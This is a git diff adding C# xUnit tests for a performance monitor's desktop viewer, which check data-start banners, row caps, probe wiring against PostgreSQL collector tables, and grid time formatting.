+        Assert.DoesNotContain("Header=\"Captured\"", block, StringComparison.Ordinal);
+
+        /* Last: the house form puts the snapshot time at the end of the grid, after any fill column. */
+        var columns = block[..block.IndexOf("</DataGrid.Columns>", StringComparison.Ordinal)];
+        var headers = Regex.Matches(columns, @"<DataGrid(?:Text|Template)Column\b[^>]*?Header=""(?<h>[^""]*)""");
+        var lastColumn = headers[headers.Count - 1].Groups["h"].Value;
+        Assert.Equal("Collected", lastColumn);
+    }
+
+    /* The time columns that predate this change keep the header users already know; they gained seconds and a UTC sort. */
+    [Theory]
+    [InlineData("PgWraparoundGrid", "Measured", "MeasuredAt", "MeasuredAtUtc")]
+    [InlineData("PgColumnStatsGrid", "Captured", "CaptureTime", "CaptureTimeUtc")]
+    public void ThePreExistingSnapshotTimeColumnKeepsItsHeader_WithTheSecondAndTheUtcSort(string grid, string header, string binding, string sort)
+    {
+        var xaml = ReadRepoFile("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml").ReplaceLineEndings("\n");
+        var start = xaml.IndexOf("x:Name=\"" + grid + "\"", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var block = xaml[start..xaml.IndexOf("</DataGrid>", start, StringComparison.Ordinal)];
+        Assert.Contains($"Header=\"{header}\" Binding=\"{{Binding {binding}}}\" Width=\"*\" SortMemberPath=\"{sort}\"", block, StringComparison.Ordinal);
+        Assert.DoesNotContain("Header=\"Collected\"", block, StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerPlanCorrectionsDataStartTests.cs b/Darling/Darling.Tests/ViewerPlanCorrectionsDataStartTests.cs
new file mode 100644
index 0000000000..8de78c3ba8
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerPlanCorrectionsDataStartTests.cs
@@ -0,0 +1,183 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's Plan Corrections grid says where its data starts (#4966). The read windows on <c>collection_time</c> and
+/// shows it, and keeps the newest 200 rows: the collector re-captures every open recommendation on each cycle, so a few
+/// recommendations fill the cap within hours and a wide range is answered from its newest hours. The notice names the earlier
+/// of the coverage start and the earliest row the grid shows, and a full page names its oldest row.
+/// </summary>
+/* The banner's time text reads the process-wide display mode, which these tests set (restored in Dispose); one shared
+   collection serializes it with every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerPlanCorrectionsDataStartTests : IDisposable
+{
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose() => ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+
+    private static readonly DateTime RangeStart = new(2026, 9, 1, 0, 0, 0, DateTimeKind.Utc);
+
+    private static string ViewerFile(string file) => ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", file);
+
+    private static int Matches(string source, string pattern) => Regex.Matches(source, pattern).Count;
+
+    private static string MethodBody(string source, string signaturePattern)
+    {
+        var match = Regex.Match(source, signaturePattern + @".*?\r?\n    \}\r?\n", RegexOptions.Singleline);
+        Assert.True(match.Success, $"{signaturePattern} was not found");
+        return match.Value;
+    }
+
+    // ── The cap and the probe ──
+
+    [Fact]
+    public void TheCap_IsTheLimitOfTheRead()
+    {
+        Assert.Equal(200, ViewerDataService.PlanCorrectionsRowCap);
+        Assert.Contains($"LIMIT {ViewerDataService.PlanCorrectionsRowCap}", ViewerDataService.PlanCorrectionsSql, StringComparison.Ordinal);
+        /* Newest first on the column the grid shows, so the cap keeps the newest rows and the oldest returned row names where the grid starts. */
+        Assert.Contains("ORDER BY collection_time DESC", ViewerDataService.PlanCorrectionsSql, StringComparison.Ordinal);
+    }
+
+    /* The probe takes a collector table only when the catalog's index leads with (server_id, time): the lateral walk reads the
+       first index entry per server, and a table without that index would read every row the server holds. */
+    [Fact]
+    public void TheCatalogIndex_LeadsWithServerAndCollectionTime_SoTheProbeTakesTheTable()
+    {
+        var schema = CollectorCatalog.All.Single(c => string.Equals(c.TargetTable, "plan_correction", StringComparison.Ordinal));
+
+        Assert.Equal("collection_time", schema.PrefixTimeColumnName);
+        Assert.EndsWith("(server_id, collection_time);", PgSchemaGenerator.CreateIndex(schema), StringComparison.Ordinal);
+        Assert.True(DataWindowFloor.Source.TryForCollectorTable("plan_correction", out var source));
+        Assert.Equal("collection_time", source.TimeColumn);
+        Assert.Equal("plan_correction", source.CollectorName);
+    }
+
+    [Fact]
+    public void TheProbe_GoesThroughTheSharedFloor_OverTheCollectorTable_OnCollectionTime()
+    {
+        var source = ViewerFile("ViewerDataService.PlanCorrection.cs");
+
+        Assert.Contains("DataWindowFloor.Source.ForCollectorTable(\"plan_correction\")", source, StringComparison.Ordinal);
+        Assert.Contains("DataWindowFloor.GetForServerAsync(", source, StringComparison.Ordinal);
+        /* The grid windows on collection_time, the probe's own column, so every row it shows was collected at or after the start the probe names. */
+        Assert.Contains("collection_time >= $2", ViewerDataService.PlanCorrectionsSql, StringComparison.Ordinal);
+    }
+
+    // ── The tab: the probe beside the read, the banner from the rows shown ──
+
+    [Fact]
+    public void PlanCorrections_AsksAboutTheWindowItDraws_AndNamesTheCollectionTimeOfEachRowItShows_UpToItsCap()
+    {
+        var load = MethodBody(ViewerFile("ViewerServerTab.Queries.cs"), @"private async Task LoadPlanCorrectionsAsync\(");
+
+        Assert.Equal(1, Matches(load, @"var dataStartTask = _dataService\.GetPlanCorrectionsDataStartAsync\(_server\.ServerId,\s*startUtc,\s*endUtc\);"));
+        /* The call passes the cap rule's inputs (the rows shown, the cap), not the probe's answer on its own: it is not the plain
+           UpdateTruncationBanner-over-DataStartOrNullAsync shape the Queries tab's other grids use. */
+        Assert.Equal(1, Matches(load,
+            @"await ShowEventDataStartAsync\(PlanCorrectionsTruncationBanner,\s*dataStartTask,\s*""Plan Corrections"",\s*startUtc,\s*rows\.Select\(r => \(DateTime\?\)r\.CollectionTime\),\s*ViewerDataService\.PlanCorrectionsRowCap\);"));
+        Assert.DoesNotContain("UpdateTruncationBanner(", load, StringComparison.Ordinal);
+    }
+
+    /* A census over every server-tab file: each read of the grid's rows is paired with its probe, so a second read path added
+       later without one fails here instead of shipping with a stale banner. */
+    [Fact]
+    public void EveryTabRead_OfTheGrid_HasItsProbe_AndNoneIsAwaitedBare()
+    {
+        var tabs = string.Join("\n", Directory.GetFiles(PathTo("Darling", "PerformanceMonitor.Darling.Viewer"), "ViewerServerTab*.cs").Select(File.ReadAllText));
+
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetPlanCorrectionsAsync\("));
+        Assert.Equal(1, Matches(tabs, @"_dataService\.GetPlanCorrectionsDataStartAsync\("));
+        Assert.Equal(1, Matches(tabs, @"ShowEventDataStartAsync\(PlanCorrectionsTruncationBanner,"));
+        Assert.DoesNotContain("await dataStartTask", ViewerFile("ViewerServerTab.Queries.cs"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheBanner_SitsAboveTheGrid_InTheExistingStyle()
+    {
+        var xaml = ViewerFile("ViewerServerTab.xaml");
+
+        var banner = Regex.Match(xaml, @"<TextBlock Grid\.Row=""1"" x:Name=""PlanCorrectionsTruncationBanner""[^>]*/>");
+        Assert.True(banner.Success, "PlanCorrectionsTruncationBanner is not declared in ViewerServerTab.xaml, in the row above the grid");
+        Assert.Contains("Visibility=\"Collapsed\"", banner.Value, StringComparison.Ordinal);
+        Assert.Contains("Background=\"#22FFAA00\"", banner.Value, StringComparison.Ordinal);
+        Assert.Matches(@"<DataGrid Grid\.Row=""2"" x:Name=""PlanCorrectionGrid""", xaml);
+    }
+
+    // ── What the banner shows ──
+
+    /* The banner raised for the probe's answer and the rows the grid shows (their collection times), read off the control; null
+       when it is hidden. Seeded visible, so a no-op cannot pass as a hidden banner. */
+    private static string? BannerFor(DateTime? coverageStartUtc, IEnumerable<DateTime> collectionTimes, int? rowCap = ViewerDataService.PlanCorrectionsRowCap)
+    {
+        string? text = null;
+        StaTestThread.Run(() =>
+        {
+            ViewerTimeHelper.CurrentDisplayMode = TimeDisplayMode.UTC;
+            var banner = new TextBlock { Visibility = Visibility.Visible, Text = "stale" };
+            var rows = collectionTimes.Select(t => new PlanCorrectionRow { CollectionTime = t }).ToList();
+
+            ViewerServerTab.ShowEventDataStartAsync(
+                banner, Task.FromResult(coverageStartUtc), "Plan Corrections", RangeStart, rows.Select(r => (DateTime?)r.CollectionTime), rowCap).GetAwaiter().GetResult();
+
+            text = banner.Visibility == Visibility.Visible ? banner.Text : null;
+        });
+        return text;
+    }
+
+    private static DateTime At(int days, int hours = 0) => RangeStart.AddDays(days).AddHours(hours);
+
+    /* Rows start inside the range: the first recommendation was collected after the coverage began. The notice reads back the coverage start. */
+    [Fact]
+    public void RowsThatStartInsideTheRange_RaiseTheNotice_AtTheCoverageStart()
+    {
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(At(3), [At(3, 6), At(5)]));
+    }
+
+    /* A quiet start: the store covered the whole range, and the first recommendation was collected 5 hours in. No notice. */
+    [Fact]
+    public void AQuietStart_RaisesNoNotice()
+    {
+        Assert.Null(BannerFor(At(-20), [At(0, 5), At(2)]));
+    }
+
+    /* A full page of the newest 200 rows whose oldest came 3 days into the range names that row, though the store covers the whole
+       range (coverage 20 days before it); one row fewer is the whole range and raises none. */
+    [Fact]
+    public void AFullPage_RaisesTheNotice_AtItsOldestRow_AndOneRowFewerRaisesNone()
+    {
+        var oldest = RangeStart.AddDays(3);
+        IEnumerable<DateTime> Page(int count) => Enumerable.Range(0, count).Select(i => oldest.AddMinutes(i));
+
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(At(-20), Page(ViewerDataService.PlanCorrectionsRowCap)));
+        Assert.Null(BannerFor(At(-20), Page(ViewerDataService.PlanCorrectionsRowCap - 1)));
+        /* The notice comes from the rows, so a probe with no answer does not hide it. */
+        Assert.Equal("Showing since 2026-09-04 00:00:00", BannerFor(null, Page(ViewerDataService.PlanCorrectionsRowCap)));
+    }
+
+    /* WPF objects require STA; same shape as ViewerLongQueriesDataStartTests. */
+}
diff --git a/Darling/Darling.Tests/ViewerPostgresDataStartLiveTests.cs b/Darling/Darling.Tests/ViewerPostgresDataStartLiveTests.cs
new file mode 100644
index 0000000000..42a65ea6e7
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerPostgresDataStartLiveTests.cs
@@ -0,0 +1,80 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// <see cref="ViewerDataService.GetPgDataStartAsync"/> against a real store with TimescaleDB where it is present (#4966): the seeded
+/// start of two PostgreSQL tables comes back, a window of 90 minutes or less runs no query, and a table the probe refuses answers null.
+/// </summary>
+/* #1776 own-store: reaches DARLING_TEST_PG only to create and drop its own database through ScratchPostgres. */
+public sealed class ViewerPostgresDataStartLiveTests
+{
+    private const int LockServerId = -496701;
+    private const int DeadlockServerId = -496702;
+
+    [Fact]
+    public async Task TheSeededStart_ComesBack_ForTwoTables_AndNullForANarrowWindowOrAnUnknownTable_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to a Postgres connection string to run the live PostgreSQL data-start test.");
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var end = QueryGridSeed.NowToTheMinute();
+
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            if (await LiveTimescaleProbe.TryEnableAsync(scratch.ConnectionString, ct))
+            {
+                await TimescaleSupport.ConvertToHypertablesAsync(connection, null, ct);
+                await using var stopWorkers = new NpgsqlCommand("SELECT _timescaledb_functions.stop_background_workers()", connection);
+                await stopWorkers.ExecuteNonQueryAsync(ct);
+            }
+
+            /* Added a day ago, its first run and first lock row together; a second server added 2 days ago does the same for deadlocks. */
+            await EventGridSeed.AddServerAsync(connection, LockServerId, "pg-lock-start", end.AddDays(-1), "pg_lock_stats", end, clockOffsetMinutes: null, ct);
+            await InsertAsync(connection, "pg_lock_stats", LockServerId, "pg-lock-start", end.AddDays(-1), ct);
+            await EventGridSeed.AddServerAsync(connection, DeadlockServerId, "pg-deadlock-start", end.AddDays(-2), "pg_deadlocks", end, clockOffsetMinutes: null, ct);
+            await InsertAsync(connection, "pg_deadlocks", DeadlockServerId, "pg-deadlock-start", end.AddDays(-2), ct);
+        }
+
+        var viewer = new ViewerDataService(scratch.ConnectionString);
+        var start = end.AddDays(-7);
+
+        Assert.Equal(end.AddDays(-1), await viewer.GetPgDataStartAsync("pg_lock_stats", LockServerId, start, end, ct));
+        Assert.Equal(end.AddDays(-2), await viewer.GetPgDataStartAsync("pg_deadlocks", DeadlockServerId, start, end, ct));
+        Assert.Null(await viewer.GetPgDataStartAsync("pg_lock_stats", LockServerId, end.AddMinutes(-90), end, ct));
+        Assert.Null(await viewer.GetPgDataStartAsync("not_a_collector_table", LockServerId, start, end, ct));
+    }
+
+    private static async Task InsertAsync(NpgsqlConnection connection, string table, int serverId, string serverName, DateTime firstUtc, CancellationToken ct)
+    {
+        var extra = table == "pg_deadlocks" ? "occurred_at, deadlock_hash" : "database_name";
+        var value = table == "pg_deadlocks" ? "t, 'h'" : "'d'";
+        await using var insert = new NpgsqlCommand($"""
+            INSERT INTO collect.{table} (collection_id, collection_time, server_id, server_name, {extra})
+            SELECT row_number() OVER () + $4, t, $1, $2, {value}
+            FROM generate_series($3::timestamp, $3::timestamp + interval '3 hours', interval '1 hour') AS t
+            """, connection);
+        insert.Parameters.AddWithValue(serverId);
+        insert.Parameters.AddWithValue(serverName);
+        insert.Parameters.AddWithValue(DateTime.SpecifyKind(firstUtc, DateTimeKind.Unspecified));
+        insert.Parameters.AddWithValue(Math.Abs((long)serverId) * 1_000L);
+        await insert.ExecuteNonQueryAsync(ct);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerPostgresDataStartTests.cs b/Darling/Darling.Tests/ViewerPostgresDataStartTests.cs
new file mode 100644
index 0000000000..bdd79aa72d
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerPostgresDataStartTests.cs
@@ -0,0 +1,178 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Text.RegularExpressions;
+using System.Threading.Tasks;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Darling.Storage;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The PostgreSQL tabs' windowed grids name where their data starts (#4966). The lists below are the single place a grid is added:
+/// <see cref="Grids"/> for the table-driven pins, <see cref="ProbeTables"/> for the probe's table check.
+/// </summary>
+public sealed class ViewerPostgresDataStartTests
+{
+    /// <summary>Collector (the name the tab asks for), its table, the banner, the loader that fills the grid, and how the banner is shown.</summary>
+    public static readonly (string Collector, string Table, string Banner, string Loader, bool EventGrid)[] Grids =
+    [
+        ("pg_blocking", "pg_blocking_edges", "PgBlockingDataStartBanner", "LoadPgActivityAsync", false),
+        ("pg_statement_stats", "pg_statement_stats", "PgStatementsDataStartBanner", "LoadPgActivityAsync", false),
+        ("pg_database_stats", "pg_database_stats", "PgDatabasesDataStartBanner", "LoadPgActivityAsync", false),
+        ("pg_log_events", "pg_log_events", "PgLogEventsDataStartBanner", "LoadPgLogEventsAsync", true),
+        ("pg_deadlocks", "pg_deadlocks", "PgDeadlocksDataStartBanner", "LoadPgDeadlocksAsync", true),
+        ("pg_lock_stats", "pg_lock_stats", "PgLockStatsDataStartBanner", "LoadPgLockStatsAsync", false),
+        ("pg_kernel_stats", "pg_kernel_stats", "PgKernelStatsDataStartBanner", "LoadPgKernelStatsAsync", false),
+        ("pg_plan_capture", "pg_plan_capture", "PgCapturedPlansDataStartBanner", "LoadPgPlanCaptureAsync", false),
+        ("pg_cpu_utilization", "pg_cpu_utilization", "PgCpuDataStartBanner", "LoadPgCpuUtilizationAsync", false),
+        ("pg_wait_sampling", "pg_wait_sampling", "PgWaitSamplingDataStartBanner", "LoadPgWaitSamplingAsync", false),
+        ("pg_session_states", "pg_session_states", "PgSessionStatesDataStartBanner", "LoadPgVacuumAsync", false),
+        ("pg_xmin_horizon", "pg_xmin_horizon", "PgXminDataStartBanner", "LoadPgVacuumAsync", false),
+        ("pg_autovacuum_stats", "pg_autovacuum_stats", "PgAutovacuumDataStartBanner", "LoadPgVacuumAsync", false),
+        ("pg_wait_stats", "pg_wait_stats", "PgWaitStatsDataStartBanner", "LoadPgWaitsAsync", false),
+        ("pg_io_stats", "pg_io_stats", "PgIoStatsDataStartBanner", "LoadPgIoAsync", false),
+        ("pg_replication_stats", "pg_replication_stats", "PgReplicationStatsDataStartBanner", "LoadPgReplicationStatsAsync", false),
+        ("pg_table_bloat_stats", "pg_table_bloat_stats", "PgTableBloatDataStartBanner", "LoadPgStorageAsync", false),
+        ("pg_index_usage_stats", "pg_index_usage_stats", "PgIndexUsageDataStartBanner", "LoadPgStorageAsync", false),
+    ];
+
+    /// <summary>Write Stats is the one grid with no probe: its row carries the window's first sample, which is the coverage start.</summary>
+    public const string WriteStatsTable = "pg_write_stats";
+
+    public static readonly string[] ProbeTables = [.. Grids.Select(g => g.Table), WriteStatsTable];
+
+    public static TheoryData<string> TableNames()
+    {
+        var data = new TheoryData<string>();
+        foreach (var table in ProbeTables)
+        {
+            data.Add(table);
+        }
+
+        return data;
+    }
+
+    public static TheoryData<string, string, string, string, bool> GridRows()
+    {
+        var data = new TheoryData<string, string, string, string, bool>();
+        foreach (var g in Grids)
+        {
+            data.Add(g.Collector, g.Table, g.Banner, g.Loader, g.EventGrid);
+        }
+
+        return data;
+    }
+
+    [Theory]
+    [MemberData(nameof(TableNames))]
+    public void EveryGridTable_IsOneTheCoverageProbeAccepts(string table) =>
+        Assert.True(DataWindowFloor.Source.TryForCollectorTable(table, out _), $"{table} is refused by the coverage probe");
+
+    public static TheoryData<string, string> CollectorTables()
+    {
+        var data = new TheoryData<string, string>();
+        foreach (var g in Grids)
+        {
+            data.Add(g.Collector, g.Table);
+        }
+
+        return data;
+    }
+
+    [Theory]
+    [MemberData(nameof(CollectorTables))]
+    public void EveryCollector_MapsToItsTableThroughTheCatalog(string collector, string table)
+        => Assert.Equal(table, CollectorCatalog.All.Single(c => c.Name == collector).TargetTable);
+
+    [Theory]
+    [MemberData(nameof(GridRows))]
+    public void EachBanner_IsFedFromItsOwnGridsTable_AndTheProbeStaysOutOfTheWhenAll(
+        string collector, string table, string banner, string loader, bool eventGrid)
+    {
+        _ = table;
+        var tab = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs").ReplaceLineEndings("\n");
+        var xaml = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml").ReplaceLineEndings("\n");
+
+        Assert.Contains($"x:Name=\"{banner}\" Visibility=\"Collapsed\"", xaml);
+        Assert.Contains("#22FFAA00", xaml[xaml.IndexOf($"x:Name=\"{banner}\"", StringComparison.Ordinal)..][..400]);
+        Assert.Contains($"StartPgDataStartProbe(\"{collector}\"", tab);
+
+        var shown = eventGrid ? "ShowEventDataStartAsync(" + banner : "UpdateTruncationBanner(" + banner;
+        Assert.Contains(shown, tab);
+
+        /* The load method that shows the banner starts the probe for this collector and awaits it only through the banner call. */
+        var start = tab.IndexOf($"Task {loader}(", StringComparison.Ordinal);
+        Assert.True(start >= 0, loader);
+        var body = tab[start..];
+        var next = body.IndexOf("\n    private ", 10, StringComparison.Ordinal);
+        body = next > 0 ? body[..next] : body;
+        Assert.Contains(banner, body);
+        foreach (var line in tab.Split('\n').Where(l => l.Contains("Task.WhenAll(", StringComparison.Ordinal)))
+        {
+            Assert.DoesNotContain("StartTask", line);
+            Assert.DoesNotContain("dataStartTask", line);
+        }
+
+        /* The probe starts inside this loader, into a variable of its own, and THAT variable feeds this banner: a loader with several
+           banners (Activity, Vacuum, Storage) fails if two banners swap their probe tasks. */
+        var task = Regex.Match(body, $@"var (\w+) = [^;]*StartPgDataStartProbe\(""{collector}""").Groups[1].Value;
+        Assert.NotEmpty(task);
+        Assert.Matches(
+            eventGrid
+                ? $@"ShowEventDataStartAsync\({banner}, {task},"
+                : $@"UpdateTruncationBanner\({banner}, await DataStartOrNullAsync\({task},",
+            body);
+
+        /* #5022: the same variable is also watched while the read is awaited, so a read that throws does not leave it unobserved. */
+        Assert.Matches($@"AwaitReadWatchingProbeAsync\([^;]*?\b{task},\s*""", body);
+    }
+
+    [Fact]
+    public void TheProbe_IsGatedOffForAWindowOf90MinutesOrLess_AndPricedInTheFanOut()
+    {
+        var helper = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.PostgresDataStart.cs").ReplaceLineEndings("\n");
+        var tab = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs").ReplaceLineEndings("\n");
+
+        Assert.Contains("endUtc - startUtc <= DurationTrendRouting.TruncationSlack", helper);
+        Assert.Contains("CollectorCatalog.All", helper);
+        Assert.Contains("GetPgDataStartAsync(collector.TargetTable", helper);
+
+        /* Six reads and three probes in the Activity load; a read and a probe in each of the five loaders that runs both (two more `Of(2)` scopes were there before). */
+        Assert.Contains("ViewerReadFanOut.Of(9)", tab);
+        Assert.Equal(11, tab.Split("ViewerReadFanOut.Of(2)").Length - 1);
+        Assert.Contains("ViewerReadFanOut.Of(8)", tab);
+        Assert.Contains("ViewerReadFanOut.Of(4)", tab);
+    }
+
+    [Fact]
+    public void WriteStats_UsesTheRowsWindowStart_WithNoProbe()
+    {
+        var tab = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.Postgres.cs").ReplaceLineEndings("\n");
+        var xaml = RepoFile.ReadRepoFile("Darling/PerformanceMonitor.Darling.Viewer/ViewerServerTab.xaml").ReplaceLineEndings("\n");
+        var start = tab.IndexOf("Task LoadPgWriteStatsAsync(", StringComparison.Ordinal);
+        var body = tab[start..];
+        body = body[..body.IndexOf("\n    private ", 10, StringComparison.Ordinal)];
+
+        Assert.Contains("x:Name=\"PgWriteStatsDataStartBanner\" Visibility=\"Collapsed\"", xaml);
+        Assert.Contains("UpdateTruncationBanner(PgWriteStatsDataStartBanner, row?.WindowStartUtc, startUtc)", body);
+        Assert.DoesNotContain("StartPgDataStartProbe", body);
+    }
+
+    [Fact]
+    public async Task AnUnknownTable_AnswersNullWithoutAStoreRead()
+    {
+        var viewer = new PerformanceMonitor.Darling.Viewer.ViewerDataService("Host=127.0.0.1;Port=1;Username=x;Password=x;Database=x;Timeout=1");
+        var end = DateTime.UtcNow;
+
+        Assert.Null(await viewer.GetPgDataStartAsync("not_a_collector_table", 1, end.AddDays(-7), end, TestContext.Current.CancellationToken));
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerPostgresGridTimeTextTests.cs b/Darling/Darling.Tests/ViewerPostgresGridTimeTextTests.cs
index 117bb39cb8..e391b0b6ad 100644
--- a/Darling/Darling.Tests/ViewerPostgresGridTimeTextTests.cs
+++ b/Darling/Darling.Tests/ViewerPostgresGridTimeTextTests.cs
@@ -74,20 +74,20 @@ private static void WithDisplay(TimeDisplayMode mode, ServerClock clock, Action
     /// the two 01:30s of the repeated hour apart by their offset, UTC mode reads the stored instant, and the UTC member
     /// holds the instant itself in both.
     /// </summary>
-    private static void AssertFollowsTheDisplayMode(Func<DateTime, (string Text, DateTime? Utc)> project)
+    private static void AssertFollowsTheDisplayMode(Func<DateTime, (string Text, DateTime? Utc)> project, string seconds = "")
     {
         WithDisplay(TimeDisplayMode.ServerTime, Eastern, () =>
         {
-            Assert.Equal("2026-11-01 01:30 -04:00", project(FirstPass).Text);
-            Assert.Equal("2026-11-01 01:30 -05:00", project(SecondPass).Text);
+            Assert.Equal($"2026-11-01 01:30{seconds} -04:00", project(FirstPass).Text);
+            Assert.Equal($"2026-11-01 01:30{seconds} -05:00", project(SecondPass).Text);
             Assert.Equal(FirstPass, project(FirstPass).Utc);
             Assert.Equal(SecondPass, project(SecondPass).Utc);
         });
 
         WithDisplay(TimeDisplayMode.UTC, Eastern, () =>
         {
-            Assert.Equal("2026-11-01 05:30", project(FirstPass).Text);
-            Assert.Equal("2026-11-01 06:30", project(SecondPass).Text);
+            Assert.Equal($"2026-11-01 05:30{seconds}", project(FirstPass).Text);
+            Assert.Equal($"2026-11-01 06:30{seconds}", project(SecondPass).Text);
             Assert.Equal(FirstPass, project(FirstPass).Utc);
             Assert.Equal(SecondPass, project(SecondPass).Utc);
         });
@@ -219,7 +219,7 @@ public void AColumnStatRow_ReadsItsCapturedInTheDisplayMode_AndKeepsTheInstant()
         {
             var row = PgDisplay.ColumnStat(ColumnReader(at));
             return (row.CaptureTime, row.CaptureTimeUtc);
-        });
+        }, ":00");
 
         var shown = PgDisplay.ColumnStat(ColumnReader(FirstPass));
         Assert.Equal("status", shown.ColumnName);
@@ -233,13 +233,13 @@ public void AnIndexBloatRow_ReadsItsMeasuredAndEstimatedInTheDisplayMode_AndKeep
         {
             var row = PgDisplay.IndexBloat(BloatReader(at, "measured"));
             return (row.MeasuredAt, row.MeasuredAtUtc);
-        });
+        }, ":00");
 
         AssertFollowsTheDisplayMode(at =>
         {
             var row = PgDisplay.IndexBloat(BloatReader(at, "estimated"));
             return (row.EstimatedAt, row.EstimatedAtUtc);
-        });
+        }, ":00");
 
         var shown = PgDisplay.IndexBloat(BloatReader(FirstPass, "estimated"));
         Assert.Equal("ix_line_items_status", shown.IndexName);
@@ -261,7 +261,7 @@ public void ATimeTheReaderRowDoesNotHave_ShowsNothing_AndHasNoInstant()
             Assert.Null(noStart.BackendStartUtc);
 
             var measured = PgDisplay.IndexBloat(BloatReader(FirstPass, "measured"));
-            Assert.Equal("2026-11-01 01:30 -04:00", measured.MeasuredAt);
+            Assert.Equal("2026-11-01 01:30:00 -04:00", measured.MeasuredAt);
             Assert.Equal(FirstPass, measured.MeasuredAtUtc);
             Assert.Equal("", measured.EstimatedAt);
             Assert.Null(measured.EstimatedAtUtc);
@@ -269,7 +269,7 @@ public void ATimeTheReaderRowDoesNotHave_ShowsNothing_AndHasNoInstant()
             var estimated = PgDisplay.IndexBloat(BloatReader(SecondPass, "estimated"));
             Assert.Equal("", estimated.MeasuredAt);
             Assert.Null(estimated.MeasuredAtUtc);
-            Assert.Equal("2026-11-01 01:30 -05:00", estimated.EstimatedAt);
+            Assert.Equal("2026-11-01 01:30:00 -05:00", estimated.EstimatedAt);
             Assert.Equal(SecondPass, estimated.EstimatedAtUtc);
 
             var skipped = PgDisplay.IndexBloat(BloatReader(FirstPass, "estimated", skippedReason: "no pg_stats grant"));
@@ -370,9 +370,24 @@ public void ADisplayRow_CarriesEveryOtherColumn_UnderTheReaderRowsNameAndType(st
     /// </summary>
     [Theory]
     [MemberData(nameof(Grids))]
+    [InlineData("PgExtensionsGrid")]
+    [InlineData("PgServerConfigGrid")]
+    [InlineData("PgBufferUsageGrid")]
+    [InlineData("PgPredicateStatsGrid")]
+    [InlineData("PgWraparoundGrid")]
+    [InlineData("PgPlanCaptureGrid")]
     public void EveryBindingOfTheGrid_ResolvesOnItsDisplayRow(string grid)
     {
-        var (_, _, displayType, _) = Pair(grid);
+        var displayType = grid switch
+        {
+            "PgExtensionsGrid" => typeof(PgDisplay.ExtensionRow),
+            "PgServerConfigGrid" => typeof(PgDisplay.ServerConfigRow),
+            "PgBufferUsageGrid" => typeof(PgDisplay.BufferUsageRow),
+            "PgPredicateStatsGrid" => typeof(PgDisplay.PredicateStatRow),
+            "PgWraparoundGrid" => typeof(PgDisplay.WraparoundRow),
+            "PgPlanCaptureGrid" => typeof(PgDisplay.PlanCaptureRow),
+            _ => Pair(grid).DisplayType,
+        };
         var xaml = ReadRepoFile("Darling", ViewerFolder, "ViewerServerTab.xaml");
 
         var start = Regex.Match(xaml, @"<DataGrid\b[^>]*?x:Name=""" + Regex.Escape(grid) + @"""");
@@ -384,7 +399,7 @@ public void EveryBindingOfTheGrid_ResolvesOnItsDisplayRow(string grid)
             .Select(m => m.Groups["p"].Value)
             .Distinct(StringComparer.Ordinal)
             .ToList();
-        Assert.True(bound.Count >= 8, $"{grid} binds only {bound.Count} properties; the scan is not reading the grid.");
+        Assert.True(bound.Count >= 5, $"{grid} binds only {bound.Count} properties; the scan is not reading the grid.");
 
         var missing = bound
             .Where(name => displayType.GetProperty(name, BindingFlags.Public | BindingFlags.Instance) == null)
